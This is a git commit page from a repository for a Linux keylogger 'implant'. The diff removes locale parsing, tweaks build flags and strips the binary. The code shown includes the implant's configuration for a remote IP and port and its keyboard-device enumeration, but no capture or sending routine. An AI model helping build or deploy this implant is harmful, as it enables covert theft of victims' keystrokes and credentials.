mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 096a86af6c0b9e96e9f355907789920a6be08acd
parent ba4ecfb18bed5274211ff321a2bc1f33f3a60e34
Author: winds0r <[email protected]>
Date: Fri, 9 Jun 2023 01:23:53 +0900

feat(implant): dropping support for locale since it is managed from libxkbcommon, no need to manually parse locale

Diffstat:
Mimplant/Makefile | 10++++++----
Mimplant/includes/implant.h | 2--
Mimplant/sources/keyboard.c | 54------------------------------------------------------
Mimplant/sources/main.c | 7++-----

4 files changed, 8 insertions(+), 65 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -13,9 +13,10 @@ LINK_FLAG    	= -lxkbcommon
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 
 ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g -g3 -DDebug
+	CFLAGS 			+= -g3 -DDEBUG
 else
-	CFLAGS 		 	+= -fPIC -Wall -Wextra -O2 -Weverything -Wno-padded -Wno-gnu-zero-variadic-macro-arguments
+	CFLAGS 		 	+= -Wall -Wextra -O2 -Weverything -Wpedantic
+	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments
 endif
 
 
@@ -42,6 +43,7 @@ all: directories $(NAME) ## generate PROD binary (you might have to run make fcl
 
 .PHONY: debug
 debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
+	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
 
 
 $(OBJECT_DIR):
@@ -50,11 +52,11 @@ $(OBJECT_DIR):
 directories: | $(OBJECT_DIR)
 
 $(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
-	@$(CC) -o $@ -c $< $(CFLAGS) $(PROD_FLAGS) $(INCLUDES) $(LINK_FLAG)
+	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
 	@echo "Compiling $@"
 
 $(NAME): $(OBJ)
-	@$(CC) -o $(NAME) $^ $(CFLAGS) $(PROD_FLAGS) $(INCLUDES) $(LINK_FLAG)
+	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
 	@echo "[*** COMPILATION SUCCESSFUL ***]"
 	@strip --strip-all $(NAME)
 	@echo "[*** BINARY STRIP DONE ***]"
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -49,7 +49,6 @@ typedef struct implant_s {
     char ip[256];
 
     /* keyboard settings */
-    char locale[20];
     TAILQ_HEAD(listhead, keyboard_s) kbd;
 
 } implant_t;
@@ -79,7 +78,6 @@ int parse_user_input(int, char **, implant_t *);
 void keylog(implant_t *);
 
 // keyboard.c
-int get_locale(implant_t *);
 void fetch_available_keyboards(implant_t *);
 
 // utils.c
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -69,7 +69,6 @@ void fetch_available_keyboards(implant_t *instance) {
 
 #ifdef DEBUG
             DEBUG_LOG(
-                instance->debug_enabled,
                 "[!] Could not run realpath(%s): %s",
                 char_devices[ctr]->d_name, strerror(errno)
             );
@@ -108,56 +107,3 @@ void fetch_available_keyboards(implant_t *instance) {
         free(char_devices[ctr]);
     free(char_devices);
 }
-
-
-static int parse_locale(char const *locale_fpath, implant_t *instance) {
-
-    char *buffer = NULL;
-    if (ERROR == read_file(locale_fpath, &buffer))
-        return ERROR;
-
-    char **tab = tabgen(buffer, '\n');
-    if (!tab) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] Could not split buffer contents: %s", buffer);
-#endif
-
-        free(buffer);
-        return ERROR;
-    }
-
-    for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
-
-        if (!strncmp(tab[i], "LANG=", 5)) {
-            strncpy(instance->locale, tab[i] + 5, 20);
-
-            /* safe to free all this and exit this function */
-            free_tab((uint8_t **)tab);
-            free(buffer);
-            return SUCCESSFUL;
-        }
-    }
-
-#ifdef DEBUG
-    DEBUG_LOG("\n[!] Could not retrieve locale from %s", buffer);
-#endif
-
-    free_tab((uint8_t **)tab);
-    free(buffer);
-    return ERROR;
-}
-
-
-int get_locale(implant_t *instance) {
-
-    /*
-        function call is wrapped in order to support multiple distros
-        down the line.
-
-        AFAIK, most linux distros do it like this, but this might not work for *BSD
-        for instance.
-    */
-
-    return parse_locale("/etc/default/locale", instance);
-}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -10,7 +10,6 @@
 int main(int ac, char **av) {
 
     implant_t instance = {
-        .locale = {0},
         .ip = {0},
         .port = 80, /* ip can be a domain name */
     };
@@ -18,12 +17,10 @@ int main(int ac, char **av) {
     if (ERROR == parse_user_input(ac, av, &instance))
         return 1;
 
-    get_locale(&instance);
-
 #ifdef DEBUG
     DEBUG_LOG(
-        "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
-        instance.ip, instance.port, instance.locale
+        "[*] Implant settings:\n\tIP:%s\n\tPort:%d",
+        instance.ip, instance.port
     );
 #endif